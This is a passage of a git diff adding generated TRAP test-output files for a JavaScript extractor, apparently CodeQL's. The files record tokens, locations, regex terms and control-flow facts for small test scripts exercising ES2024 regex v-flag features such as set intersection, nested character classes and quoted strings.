+hasLocation(#20164,#20165)
+regexp_const_value(#20164,"}")
+#20166=*
+regexpterm(#20166,14,#20112,22,"!")
+#20167=@"loc,{#10000},2,36,2,36"
+locations_default(#20167,#10000,2,36,2,36)
+hasLocation(#20166,#20167)
+regexp_const_value(#20166,"!")
+#20168=*
+regexpterm(#20168,14,#20112,23,"+")
+#20169=@"loc,{#10000},2,37,2,37"
+locations_default(#20169,#10000,2,37,2,37)
+hasLocation(#20168,#20169)
+regexp_const_value(#20168,"+")
+#20170=*
+regexpterm(#20170,14,#20112,24,"%")
+#20171=@"loc,{#10000},2,38,2,38"
+locations_default(#20171,#10000,2,38,2,38)
+hasLocation(#20170,#20171)
+regexp_const_value(#20170,"%")
+#20172=*
+regexpterm(#20172,14,#20112,25,"^")
+#20173=@"loc,{#10000},2,39,2,39"
+locations_default(#20173,#10000,2,39,2,39)
+hasLocation(#20172,#20173)
+regexp_const_value(#20172,"^")
+#20174=*
+regexpterm(#20174,14,#20112,26,"-")
+#20175=@"loc,{#10000},2,40,2,40"
+locations_default(#20175,#10000,2,40,2,40)
+hasLocation(#20174,#20175)
+regexp_const_value(#20174,"-")
+#20176=*
+regexpterm(#20176,14,#20096,1,"X")
+#20177=@"loc,{#10000},2,45,2,45"
+locations_default(#20177,#10000,2,45,2,45)
+hasLocation(#20176,#20177)
+regexp_const_value(#20176,"X")
+#20178=*
+entry_cfg_node(#20178,#20001)
+#20179=@"loc,{#10000},1,1,1,0"
+locations_default(#20179,#10000,1,1,1,0)
+hasLocation(#20178,#20179)
+#20180=*
+exit_cfg_node(#20180,#20001)
+hasLocation(#20180,#20015)
+successor(#20094,#20095)
+successor(#20095,#20180)
+successor(#20017,#20018)
+successor(#20018,#20094)
+successor(#20178,#20017)
+numlines(#10000,2,2,0)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/intersection.js.trap b/javascript/extractor/tests/es2024/output/trap/intersection.js.trap
new file mode 100644
index 000000000000..a48eccb5a741
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/intersection.js.trap
@@ -0,0 +1,397 @@
+#10000=@"/intersection.js;sourcefile"
+files(#10000,"/intersection.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+comments(#20002,0,#20001," Valid use of intersection operator, matches b or c","// Vali ...  b or c")
+#20003=@"loc,{#10000},1,20,1,72"
+locations_default(#20003,#10000,1,20,1,72)
+hasLocation(#20002,#20003)
+#20004=*
+comments(#20004,0,#20001,"Valid regex, but no intersection operation: Matches the literal string ""abc&&bcd""","//Valid ... c&&bcd""")
+#20005=@"loc,{#10000},2,14,2,96"
+locations_default(#20005,#10000,2,14,2,96)
+hasLocation(#20004,#20005)
+#20006=*
+comments(#20006,0,#20001," Valid regex, but incorrect intersection operation: ","// Vali ... ation: ")
+#20007=@"loc,{#10000},3,18,3,71"
+locations_default(#20007,#10000,3,18,3,71)
+hasLocation(#20006,#20007)
+#20008=*
+comments(#20008,0,#20001," - Matches a single character from [abc]","// - Ma ... m [abc]")
+#20009=@"loc,{#10000},4,18,4,59"
+locations_default(#20009,#10000,4,18,4,59)
+hasLocation(#20008,#20009)
+#20010=*
+comments(#20010,0,#20001," - Then the literal ""&&""","// - Th ... al ""&&""")
+#20011=@"loc,{#10000},5,18,5,43"
+locations_default(#20011,#10000,5,18,5,43)
+hasLocation(#20010,#20011)
+#20012=*
+comments(#20012,0,#20001," - Then a single character from [bcd]","// - Th ... m [bcd]")
+#20013=@"loc,{#10000},6,18,6,56"
+locations_default(#20013,#10000,6,18,6,56)
+hasLocation(#20012,#20013)
+#20014=*
+comments(#20014,0,#20001," Valid use of intersection operator, matches c","// Vali ... tches c")
+#20015=@"loc,{#10000},7,25,7,72"
+locations_default(#20015,#10000,7,25,7,72)
+hasLocation(#20014,#20015)
+#20016=*
+lines(#20016,#20001,"/[[abc]&&[bcd]]/v; // Valid use of intersection operator, matches b or c","
+")
+#20017=@"loc,{#10000},1,1,1,72"
+locations_default(#20017,#10000,1,1,1,72)
+hasLocation(#20016,#20017)
+#20018=*
+lines(#20018,#20001,"/abc&&bcd/v; //Valid regex, but no intersection operation: Matches the literal string ""abc&&bcd""","
+")
+#20019=@"loc,{#10000},2,1,2,96"
+locations_default(#20019,#10000,2,1,2,96)
+hasLocation(#20018,#20019)
+#20020=*
+lines(#20020,#20001,"/[abc]&&[bcd]/v; // Valid regex, but incorrect intersection operation: ","
+")
+#20021=@"loc,{#10000},3,1,3,71"
+locations_default(#20021,#10000,3,1,3,71)
+hasLocation(#20020,#20021)
+#20022=*
+lines(#20022,#20001,"                 // - Matches a single character from [abc]","
+")
+#20023=@"loc,{#10000},4,1,4,59"
+locations_default(#20023,#10000,4,1,4,59)
+hasLocation(#20022,#20023)
+indentation(#10000,4," ",17)
+#20024=*
+lines(#20024,#20001,"                 // - Then the literal ""&&""","
+")
+#20025=@"loc,{#10000},5,1,5,43"
+locations_default(#20025,#10000,5,1,5,43)
+hasLocation(#20024,#20025)
+indentation(#10000,5," ",17)
+#20026=*
+lines(#20026,#20001,"                 // - Then a single character from [bcd]","
+")
+#20027=@"loc,{#10000},6,1,6,56"
+locations_default(#20027,#10000,6,1,6,56)
+hasLocation(#20026,#20027)
+indentation(#10000,6," ",17)
+#20028=*
+lines(#20028,#20001,"/[[abc]&&[bcd]&&[c]]/v; // Valid use of intersection operator, matches c","
+")
+#20029=@"loc,{#10000},7,1,7,72"
+locations_default(#20029,#10000,7,1,7,72)
+hasLocation(#20028,#20029)
+numlines(#20001,7,4,7)
+#20030=*
+tokeninfo(#20030,5,#20001,0,"/[[abc]&&[bcd]]/v")
+#20031=@"loc,{#10000},1,1,1,17"
+locations_default(#20031,#10000,1,1,1,17)
+hasLocation(#20030,#20031)
+#20032=*
+tokeninfo(#20032,8,#20001,1,";")
+#20033=@"loc,{#10000},1,18,1,18"
+locations_default(#20033,#10000,1,18,1,18)
+hasLocation(#20032,#20033)
+#20034=*
+tokeninfo(#20034,5,#20001,2,"/abc&&bcd/v")
+#20035=@"loc,{#10000},2,1,2,11"
+locations_default(#20035,#10000,2,1,2,11)
+hasLocation(#20034,#20035)
+next_token(#20002,#20034)
+#20036=*
+tokeninfo(#20036,8,#20001,3,";")
+#20037=@"loc,{#10000},2,12,2,12"
+locations_default(#20037,#10000,2,12,2,12)
+hasLocation(#20036,#20037)
+#20038=*
+tokeninfo(#20038,5,#20001,4,"/[abc]&&[bcd]/v")
+#20039=@"loc,{#10000},3,1,3,15"
+locations_default(#20039,#10000,3,1,3,15)
+hasLocation(#20038,#20039)
+next_token(#20004,#20038)
+#20040=*
+tokeninfo(#20040,8,#20001,5,";")
+#20041=@"loc,{#10000},3,16,3,16"
+locations_default(#20041,#10000,3,16,3,16)
+hasLocation(#20040,#20041)
+#20042=*
+tokeninfo(#20042,5,#20001,6,"/[[abc]&&[bcd]&&[c]]/v")
+#20043=@"loc,{#10000},7,1,7,22"
+locations_default(#20043,#10000,7,1,7,22)
+hasLocation(#20042,#20043)
+next_token(#20006,#20042)
+next_token(#20008,#20042)
+next_token(#20010,#20042)
+next_token(#20012,#20042)
+#20044=*
+tokeninfo(#20044,8,#20001,7,";")
+#20045=@"loc,{#10000},7,23,7,23"
+locations_default(#20045,#10000,7,23,7,23)
+hasLocation(#20044,#20045)
+#20046=*
+tokeninfo(#20046,0,#20001,8,"")
+#20047=@"loc,{#10000},8,1,8,0"
+locations_default(#20047,#10000,8,1,8,0)
+hasLocation(#20046,#20047)
+next_token(#20014,#20046)
+toplevels(#20001,0)
+#20048=@"loc,{#10000},1,1,8,0"
+locations_default(#20048,#10000,1,1,8,0)
+hasLocation(#20001,#20048)
+#20049=*
+stmts(#20049,2,#20001,0,"/[[abc]&&[bcd]]/v;")
+#20050=@"loc,{#10000},1,1,1,18"
+locations_default(#20050,#10000,1,1,1,18)
+hasLocation(#20049,#20050)
+stmt_containers(#20049,#20001)
+#20051=*
+exprs(#20051,5,#20049,0,"/[[abc]&&[bcd]]/v")
+hasLocation(#20051,#20031)
+enclosing_stmt(#20051,#20049)
+expr_containers(#20051,#20001)
+literals("/[[abc]&&[bcd]]/v","/[[abc]&&[bcd]]/v",#20051)
+#20052=*
+regexpterm(#20052,23,#20051,0,"[[abc]&&[bcd]]")
+#20053=@"loc,{#10000},1,2,1,15"
+locations_default(#20053,#10000,1,2,1,15)
+hasLocation(#20052,#20053)
+#20054=*
+regexpterm(#20054,29,#20052,0,"[[abc]&&[bcd]]")
+hasLocation(#20054,#20053)
+#20055=*
+regexpterm(#20055,23,#20054,0,"[abc]")
+#20056=@"loc,{#10000},1,3,1,7"
+locations_default(#20056,#10000,1,3,1,7)
+hasLocation(#20055,#20056)
+#20057=*
+regexpterm(#20057,14,#20055,0,"a")
+#20058=@"loc,{#10000},1,4,1,4"
+locations_default(#20058,#10000,1,4,1,4)
+hasLocation(#20057,#20058)
+regexp_const_value(#20057,"a")
+#20059=*
+regexpterm(#20059,14,#20055,1,"b")
+#20060=@"loc,{#10000},1,5,1,5"
+locations_default(#20060,#10000,1,5,1,5)
+hasLocation(#20059,#20060)
+regexp_const_value(#20059,"b")
+#20061=*
+regexpterm(#20061,14,#20055,2,"c")
+#20062=@"loc,{#10000},1,6,1,6"
+locations_default(#20062,#10000,1,6,1,6)
+hasLocation(#20061,#20062)
+regexp_const_value(#20061,"c")
+#20063=*
+regexpterm(#20063,23,#20054,1,"[bcd]")
+#20064=@"loc,{#10000},1,10,1,14"
+locations_default(#20064,#10000,1,10,1,14)
+hasLocation(#20063,#20064)
+#20065=*
+regexpterm(#20065,14,#20063,0,"b")
+#20066=@"loc,{#10000},1,11,1,11"
+locations_default(#20066,#10000,1,11,1,11)
+hasLocation(#20065,#20066)
+regexp_const_value(#20065,"b")
+#20067=*
+regexpterm(#20067,14,#20063,1,"c")
+#20068=@"loc,{#10000},1,12,1,12"
+locations_default(#20068,#10000,1,12,1,12)
+hasLocation(#20067,#20068)
+regexp_const_value(#20067,"c")
+#20069=*
+regexpterm(#20069,14,#20063,2,"d")
+#20070=@"loc,{#10000},1,13,1,13"
+locations_default(#20070,#10000,1,13,1,13)
+hasLocation(#20069,#20070)
+regexp_const_value(#20069,"d")
+#20071=*
+stmts(#20071,2,#20001,1,"/abc&&bcd/v;")
+#20072=@"loc,{#10000},2,1,2,12"
+locations_default(#20072,#10000,2,1,2,12)
+hasLocation(#20071,#20072)
+stmt_containers(#20071,#20001)
+#20073=*
+exprs(#20073,5,#20071,0,"/abc&&bcd/v")
+hasLocation(#20073,#20035)
+enclosing_stmt(#20073,#20071)
+expr_containers(#20073,#20001)
+literals("/abc&&bcd/v","/abc&&bcd/v",#20073)
+#20074=*
+regexpterm(#20074,14,#20073,0,"abc&&bcd")
+#20075=@"loc,{#10000},2,2,2,9"
+locations_default(#20075,#10000,2,2,2,9)
+hasLocation(#20074,#20075)
+regexp_const_value(#20074,"abc&&bcd")
+#20076=*
+stmts(#20076,2,#20001,2,"/[abc]&&[bcd]/v;")
+#20077=@"loc,{#10000},3,1,3,16"
+locations_default(#20077,#10000,3,1,3,16)
+hasLocation(#20076,#20077)
+stmt_containers(#20076,#20001)
+#20078=*
+exprs(#20078,5,#20076,0,"/[abc]&&[bcd]/v")
+hasLocation(#20078,#20039)
+enclosing_stmt(#20078,#20076)
+expr_containers(#20078,#20001)
+literals("/[abc]&&[bcd]/v","/[abc]&&[bcd]/v",#20078)
+#20079=*
+regexpterm(#20079,1,#20078,0,"[abc]&&[bcd]")
+#20080=@"loc,{#10000},3,2,3,13"
+locations_default(#20080,#10000,3,2,3,13)
+hasLocation(#20079,#20080)
+#20081=*
+regexpterm(#20081,23,#20079,0,"[abc]")
+#20082=@"loc,{#10000},3,2,3,6"
+locations_default(#20082,#10000,3,2,3,6)
+hasLocation(#20081,#20082)
+#20083=*
+regexpterm(#20083,14,#20081,0,"a")
+#20084=@"loc,{#10000},3,3,3,3"
+locations_default(#20084,#10000,3,3,3,3)
+hasLocation(#20083,#20084)
+regexp_const_value(#20083,"a")
+#20085=*
+regexpterm(#20085,14,#20081,1,"b")
+#20086=@"loc,{#10000},3,4,3,4"
+locations_default(#20086,#10000,3,4,3,4)
+hasLocation(#20085,#20086)
+regexp_const_value(#20085,"b")
+#20087=*
+regexpterm(#20087,14,#20081,2,"c")
+#20088=@"loc,{#10000},3,5,3,5"
+locations_default(#20088,#10000,3,5,3,5)
+hasLocation(#20087,#20088)
+regexp_const_value(#20087,"c")
+#20089=*
+regexpterm(#20089,14,#20079,1,"&&")
+#20090=@"loc,{#10000},3,7,3,8"
+locations_default(#20090,#10000,3,7,3,8)
+hasLocation(#20089,#20090)
+regexp_const_value(#20089,"&&")
+#20091=*
+regexpterm(#20091,23,#20079,2,"[bcd]")
+#20092=@"loc,{#10000},3,9,3,13"
+locations_default(#20092,#10000,3,9,3,13)
+hasLocation(#20091,#20092)
+#20093=*
+regexpterm(#20093,14,#20091,0,"b")
+#20094=@"loc,{#10000},3,10,3,10"
+locations_default(#20094,#10000,3,10,3,10)
+hasLocation(#20093,#20094)
+regexp_const_value(#20093,"b")
+#20095=*
+regexpterm(#20095,14,#20091,1,"c")
+#20096=@"loc,{#10000},3,11,3,11"
+locations_default(#20096,#10000,3,11,3,11)
+hasLocation(#20095,#20096)
+regexp_const_value(#20095,"c")
+#20097=*
+regexpterm(#20097,14,#20091,2,"d")
+#20098=@"loc,{#10000},3,12,3,12"
+locations_default(#20098,#10000,3,12,3,12)
+hasLocation(#20097,#20098)
+regexp_const_value(#20097,"d")
+#20099=*
+stmts(#20099,2,#20001,3,"/[[abc] ... [c]]/v;")
+#20100=@"loc,{#10000},7,1,7,23"
+locations_default(#20100,#10000,7,1,7,23)
+hasLocation(#20099,#20100)
+stmt_containers(#20099,#20001)
+#20101=*
+exprs(#20101,5,#20099,0,"/[[abc] ... &[c]]/v")
+hasLocation(#20101,#20043)
+enclosing_stmt(#20101,#20099)
+expr_containers(#20101,#20001)
+literals("/[[abc]&&[bcd]&&[c]]/v","/[[abc]&&[bcd]&&[c]]/v",#20101)
+#20102=*
+regexpterm(#20102,23,#20101,0,"[[abc]&&[bcd]&&[c]]")
+#20103=@"loc,{#10000},7,2,7,20"
+locations_default(#20103,#10000,7,2,7,20)
+hasLocation(#20102,#20103)
+#20104=*
+regexpterm(#20104,29,#20102,0,"[[abc]&&[bcd]&&[c]]")
+hasLocation(#20104,#20103)
+#20105=*
+regexpterm(#20105,23,#20104,0,"[abc]")
+#20106=@"loc,{#10000},7,3,7,7"
+locations_default(#20106,#10000,7,3,7,7)
+hasLocation(#20105,#20106)
+#20107=*
+regexpterm(#20107,14,#20105,0,"a")
+#20108=@"loc,{#10000},7,4,7,4"
+locations_default(#20108,#10000,7,4,7,4)
+hasLocation(#20107,#20108)
+regexp_const_value(#20107,"a")
+#20109=*
+regexpterm(#20109,14,#20105,1,"b")
+#20110=@"loc,{#10000},7,5,7,5"
+locations_default(#20110,#10000,7,5,7,5)
+hasLocation(#20109,#20110)
+regexp_const_value(#20109,"b")
+#20111=*
+regexpterm(#20111,14,#20105,2,"c")
+#20112=@"loc,{#10000},7,6,7,6"
+locations_default(#20112,#10000,7,6,7,6)
+hasLocation(#20111,#20112)
+regexp_const_value(#20111,"c")
+#20113=*
+regexpterm(#20113,23,#20104,1,"[bcd]")
+#20114=@"loc,{#10000},7,10,7,14"
+locations_default(#20114,#10000,7,10,7,14)
+hasLocation(#20113,#20114)
+#20115=*
+regexpterm(#20115,14,#20113,0,"b")
+#20116=@"loc,{#10000},7,11,7,11"
+locations_default(#20116,#10000,7,11,7,11)
+hasLocation(#20115,#20116)
+regexp_const_value(#20115,"b")
+#20117=*
+regexpterm(#20117,14,#20113,1,"c")
+#20118=@"loc,{#10000},7,12,7,12"
+locations_default(#20118,#10000,7,12,7,12)
+hasLocation(#20117,#20118)
+regexp_const_value(#20117,"c")
+#20119=*
+regexpterm(#20119,14,#20113,2,"d")
+#20120=@"loc,{#10000},7,13,7,13"
+locations_default(#20120,#10000,7,13,7,13)
+hasLocation(#20119,#20120)
+regexp_const_value(#20119,"d")
+#20121=*
+regexpterm(#20121,23,#20104,2,"[c]")
+#20122=@"loc,{#10000},7,17,7,19"
+locations_default(#20122,#10000,7,17,7,19)
+hasLocation(#20121,#20122)
+#20123=*
+regexpterm(#20123,14,#20121,0,"c")
+#20124=@"loc,{#10000},7,18,7,18"
+locations_default(#20124,#10000,7,18,7,18)
+hasLocation(#20123,#20124)
+regexp_const_value(#20123,"c")
+#20125=*
+entry_cfg_node(#20125,#20001)
+#20126=@"loc,{#10000},1,1,1,0"
+locations_default(#20126,#10000,1,1,1,0)
+hasLocation(#20125,#20126)
+#20127=*
+exit_cfg_node(#20127,#20001)
+hasLocation(#20127,#20047)
+successor(#20099,#20101)
+successor(#20101,#20127)
+successor(#20076,#20078)
+successor(#20078,#20099)
+successor(#20071,#20073)
+successor(#20073,#20076)
+successor(#20049,#20051)
+successor(#20051,#20071)
+successor(#20125,#20049)
+numlines(#10000,7,4,7)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/regex_nested_character_class.js.trap b/javascript/extractor/tests/es2024/output/trap/regex_nested_character_class.js.trap
new file mode 100644
index 000000000000..c3bc9112cc56
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/regex_nested_character_class.js.trap
@@ -0,0 +1,211 @@
+#10000=@"/regex_nested_character_class.js;sourcefile"
+files(#10000,"/regex_nested_character_class.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+comments(#20002,0,#20001,"Previously not allowed to nest character classes now completely valid with v flag.","//Previ ... v flag.")
+#20003=@"loc,{#10000},1,10,1,93"
+locations_default(#20003,#10000,1,10,1,93)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"/[[]]/v; //Previously not allowed to nest character classes now completely valid with v flag.","
+")
+#20005=@"loc,{#10000},1,1,1,93"
+locations_default(#20005,#10000,1,1,1,93)
+hasLocation(#20004,#20005)
+#20006=*
+lines(#20006,#20001,"/[[a]]/v;","
+")
+#20007=@"loc,{#10000},2,1,2,9"
+locations_default(#20007,#10000,2,1,2,9)
+hasLocation(#20006,#20007)
+#20008=*
+lines(#20008,#20001,"/[ [] [ [] [] ] ]/v;","
+")
+#20009=@"loc,{#10000},3,1,3,20"
+locations_default(#20009,#10000,3,1,3,20)
+hasLocation(#20008,#20009)
+numlines(#20001,3,3,1)
+#20010=*
+tokeninfo(#20010,5,#20001,0,"/[[]]/v")
+#20011=@"loc,{#10000},1,1,1,7"
+locations_default(#20011,#10000,1,1,1,7)
+hasLocation(#20010,#20011)
+#20012=*
+tokeninfo(#20012,8,#20001,1,";")
+#20013=@"loc,{#10000},1,8,1,8"
+locations_default(#20013,#10000,1,8,1,8)
+hasLocation(#20012,#20013)
+#20014=*
+tokeninfo(#20014,5,#20001,2,"/[[a]]/v")
+#20015=@"loc,{#10000},2,1,2,8"
+locations_default(#20015,#10000,2,1,2,8)
+hasLocation(#20014,#20015)
+next_token(#20002,#20014)
+#20016=*
+tokeninfo(#20016,8,#20001,3,";")
+#20017=@"loc,{#10000},2,9,2,9"
+locations_default(#20017,#10000,2,9,2,9)
+hasLocation(#20016,#20017)
+#20018=*
+tokeninfo(#20018,5,#20001,4,"/[ [] [ [] [] ] ]/v")
+#20019=@"loc,{#10000},3,1,3,19"
+locations_default(#20019,#10000,3,1,3,19)
+hasLocation(#20018,#20019)
+#20020=*
+tokeninfo(#20020,8,#20001,5,";")
+#20021=@"loc,{#10000},3,20,3,20"
+locations_default(#20021,#10000,3,20,3,20)
+hasLocation(#20020,#20021)
+#20022=*
+tokeninfo(#20022,0,#20001,6,"")
+#20023=@"loc,{#10000},4,1,4,0"
+locations_default(#20023,#10000,4,1,4,0)
+hasLocation(#20022,#20023)
+toplevels(#20001,0)
+#20024=@"loc,{#10000},1,1,4,0"
+locations_default(#20024,#10000,1,1,4,0)
+hasLocation(#20001,#20024)
+#20025=*
+stmts(#20025,2,#20001,0,"/[[]]/v;")
+#20026=@"loc,{#10000},1,1,1,8"
+locations_default(#20026,#10000,1,1,1,8)
+hasLocation(#20025,#20026)
+stmt_containers(#20025,#20001)
+#20027=*
+exprs(#20027,5,#20025,0,"/[[]]/v")
+hasLocation(#20027,#20011)
+enclosing_stmt(#20027,#20025)
+expr_containers(#20027,#20001)
+literals("/[[]]/v","/[[]]/v",#20027)
+#20028=*
+regexpterm(#20028,23,#20027,0,"[[]]")
+#20029=@"loc,{#10000},1,2,1,5"
+locations_default(#20029,#10000,1,2,1,5)
+hasLocation(#20028,#20029)
+#20030=*
+regexpterm(#20030,23,#20028,0,"[]")
+#20031=@"loc,{#10000},1,3,1,4"
+locations_default(#20031,#10000,1,3,1,4)
+hasLocation(#20030,#20031)
+#20032=*
+stmts(#20032,2,#20001,1,"/[[a]]/v;")
+hasLocation(#20032,#20007)
+stmt_containers(#20032,#20001)
+#20033=*
+exprs(#20033,5,#20032,0,"/[[a]]/v")
+hasLocation(#20033,#20015)
+enclosing_stmt(#20033,#20032)
+expr_containers(#20033,#20001)
+literals("/[[a]]/v","/[[a]]/v",#20033)
+#20034=*
+regexpterm(#20034,23,#20033,0,"[[a]]")
+#20035=@"loc,{#10000},2,2,2,6"
+locations_default(#20035,#10000,2,2,2,6)
+hasLocation(#20034,#20035)
+#20036=*
+regexpterm(#20036,23,#20034,0,"[a]")
+#20037=@"loc,{#10000},2,3,2,5"
+locations_default(#20037,#10000,2,3,2,5)
+hasLocation(#20036,#20037)
+#20038=*
+regexpterm(#20038,14,#20036,0,"a")
+#20039=@"loc,{#10000},2,4,2,4"
+locations_default(#20039,#10000,2,4,2,4)
+hasLocation(#20038,#20039)
+regexp_const_value(#20038,"a")
+#20040=*
+stmts(#20040,2,#20001,2,"/[ [] [ [] [] ] ]/v;")
+hasLocation(#20040,#20009)
+stmt_containers(#20040,#20001)
+#20041=*
+exprs(#20041,5,#20040,0,"/[ [] [ [] [] ] ]/v")
+hasLocation(#20041,#20019)
+enclosing_stmt(#20041,#20040)
+expr_containers(#20041,#20001)
+literals("/[ [] [ [] [] ] ]/v","/[ [] [ [] [] ] ]/v",#20041)
+#20042=*
+regexpterm(#20042,23,#20041,0,"[ [] [ [] [] ] ]")
+#20043=@"loc,{#10000},3,2,3,17"
+locations_default(#20043,#10000,3,2,3,17)
+hasLocation(#20042,#20043)
+#20044=*
+regexpterm(#20044,14,#20042,0," ")
+#20045=@"loc,{#10000},3,3,3,3"
+locations_default(#20045,#10000,3,3,3,3)
+hasLocation(#20044,#20045)
+regexp_const_value(#20044," ")
+#20046=*
+regexpterm(#20046,23,#20042,1,"[]")
+#20047=@"loc,{#10000},3,4,3,5"
+locations_default(#20047,#10000,3,4,3,5)
+hasLocation(#20046,#20047)
+#20048=*
+regexpterm(#20048,14,#20042,2," ")
+#20049=@"loc,{#10000},3,6,3,6"
+locations_default(#20049,#10000,3,6,3,6)
+hasLocation(#20048,#20049)
+regexp_const_value(#20048," ")
+#20050=*
+regexpterm(#20050,23,#20042,3,"[ [] [] ]")
+#20051=@"loc,{#10000},3,7,3,15"
+locations_default(#20051,#10000,3,7,3,15)
+hasLocation(#20050,#20051)
+#20052=*
+regexpterm(#20052,14,#20050,0," ")
+#20053=@"loc,{#10000},3,8,3,8"
+locations_default(#20053,#10000,3,8,3,8)
+hasLocation(#20052,#20053)
+regexp_const_value(#20052," ")
+#20054=*
+regexpterm(#20054,23,#20050,1,"[]")
+#20055=@"loc,{#10000},3,9,3,10"
+locations_default(#20055,#10000,3,9,3,10)
+hasLocation(#20054,#20055)
+#20056=*
+regexpterm(#20056,14,#20050,2," ")
+#20057=@"loc,{#10000},3,11,3,11"
+locations_default(#20057,#10000,3,11,3,11)
+hasLocation(#20056,#20057)
+regexp_const_value(#20056," ")
+#20058=*
+regexpterm(#20058,23,#20050,3,"[]")
+#20059=@"loc,{#10000},3,12,3,13"
+locations_default(#20059,#10000,3,12,3,13)
+hasLocation(#20058,#20059)
+#20060=*
+regexpterm(#20060,14,#20050,4," ")
+#20061=@"loc,{#10000},3,14,3,14"
+locations_default(#20061,#10000,3,14,3,14)
+hasLocation(#20060,#20061)
+regexp_const_value(#20060," ")
+#20062=*
+regexpterm(#20062,14,#20042,4," ")
+#20063=@"loc,{#10000},3,16,3,16"
+locations_default(#20063,#10000,3,16,3,16)
+hasLocation(#20062,#20063)
+regexp_const_value(#20062," ")
+#20064=*
+entry_cfg_node(#20064,#20001)
+#20065=@"loc,{#10000},1,1,1,0"
+locations_default(#20065,#10000,1,1,1,0)
+hasLocation(#20064,#20065)
+#20066=*
+exit_cfg_node(#20066,#20001)
+hasLocation(#20066,#20023)
+successor(#20040,#20041)
+successor(#20041,#20066)
+successor(#20032,#20033)
+successor(#20033,#20040)
+successor(#20025,#20027)
+successor(#20027,#20032)
+successor(#20064,#20025)
+numlines(#10000,3,3,1)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/regex_quoted_string.js.trap b/javascript/extractor/tests/es2024/output/trap/regex_quoted_string.js.trap
new file mode 100644
index 000000000000..822a1302bcf5
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/regex_quoted_string.js.trap
@@ -0,0 +1,286 @@
+#10000=@"/regex_quoted_string.js;sourcefile"
+files(#10000,"/regex_quoted_string.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"/[\q{abc}]/v;","
+")
+#20003=@"loc,{#10000},1,1,1,13"
+locations_default(#20003,#10000,1,1,1,13)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"/[\q{abc|cbd|dcb}]/v;","
+")
+#20005=@"loc,{#10000},2,1,2,21"
+locations_default(#20005,#10000,2,1,2,21)
+hasLocation(#20004,#20005)
+#20006=*
+lines(#20006,#20001,"/[\q{\}}]/v;","
+")
+#20007=@"loc,{#10000},3,1,3,12"
+locations_default(#20007,#10000,3,1,3,12)
+hasLocation(#20006,#20007)
+#20008=*
+lines(#20008,#20001,"/[\q{\{}]/v;","
+")
+#20009=@"loc,{#10000},4,1,4,12"
+locations_default(#20009,#10000,4,1,4,12)
+hasLocation(#20008,#20009)
+#20010=*
+lines(#20010,#20001,"/[\q{cc|\}a|cc}]/v;","
+")
+#20011=@"loc,{#10000},5,1,5,19"
+locations_default(#20011,#10000,5,1,5,19)
+hasLocation(#20010,#20011)
+numlines(#20001,5,5,0)
+#20012=*
+tokeninfo(#20012,5,#20001,0,"/[\q{abc}]/v")
+#20013=@"loc,{#10000},1,1,1,12"
+locations_default(#20013,#10000,1,1,1,12)
+hasLocation(#20012,#20013)
+#20014=*
+tokeninfo(#20014,8,#20001,1,";")
+#20015=@"loc,{#10000},1,13,1,13"
+locations_default(#20015,#10000,1,13,1,13)
+hasLocation(#20014,#20015)
+#20016=*
+tokeninfo(#20016,5,#20001,2,"/[\q{abc|cbd|dcb}]/v")
+#20017=@"loc,{#10000},2,1,2,20"
+locations_default(#20017,#10000,2,1,2,20)
+hasLocation(#20016,#20017)
+#20018=*
+tokeninfo(#20018,8,#20001,3,";")
+#20019=@"loc,{#10000},2,21,2,21"
+locations_default(#20019,#10000,2,21,2,21)
+hasLocation(#20018,#20019)
+#20020=*
+tokeninfo(#20020,5,#20001,4,"/[\q{\}}]/v")
+#20021=@"loc,{#10000},3,1,3,11"
+locations_default(#20021,#10000,3,1,3,11)
+hasLocation(#20020,#20021)
+#20022=*
+tokeninfo(#20022,8,#20001,5,";")
+#20023=@"loc,{#10000},3,12,3,12"
+locations_default(#20023,#10000,3,12,3,12)
+hasLocation(#20022,#20023)
+#20024=*
+tokeninfo(#20024,5,#20001,6,"/[\q{\{}]/v")
+#20025=@"loc,{#10000},4,1,4,11"
+locations_default(#20025,#10000,4,1,4,11)
+hasLocation(#20024,#20025)
+#20026=*
+tokeninfo(#20026,8,#20001,7,";")
+#20027=@"loc,{#10000},4,12,4,12"
+locations_default(#20027,#10000,4,12,4,12)
+hasLocation(#20026,#20027)
+#20028=*
+tokeninfo(#20028,5,#20001,8,"/[\q{cc|\}a|cc}]/v")
+#20029=@"loc,{#10000},5,1,5,18"
+locations_default(#20029,#10000,5,1,5,18)
+hasLocation(#20028,#20029)
+#20030=*
+tokeninfo(#20030,8,#20001,9,";")
+#20031=@"loc,{#10000},5,19,5,19"
+locations_default(#20031,#10000,5,19,5,19)
+hasLocation(#20030,#20031)
+#20032=*
+tokeninfo(#20032,0,#20001,10,"")
+#20033=@"loc,{#10000},6,1,6,0"
+locations_default(#20033,#10000,6,1,6,0)
+hasLocation(#20032,#20033)
+toplevels(#20001,0)
+#20034=@"loc,{#10000},1,1,6,0"
+locations_default(#20034,#10000,1,1,6,0)
+hasLocation(#20001,#20034)
+#20035=*
+stmts(#20035,2,#20001,0,"/[\q{abc}]/v;")
+hasLocation(#20035,#20003)
+stmt_containers(#20035,#20001)
+#20036=*
+exprs(#20036,5,#20035,0,"/[\q{abc}]/v")
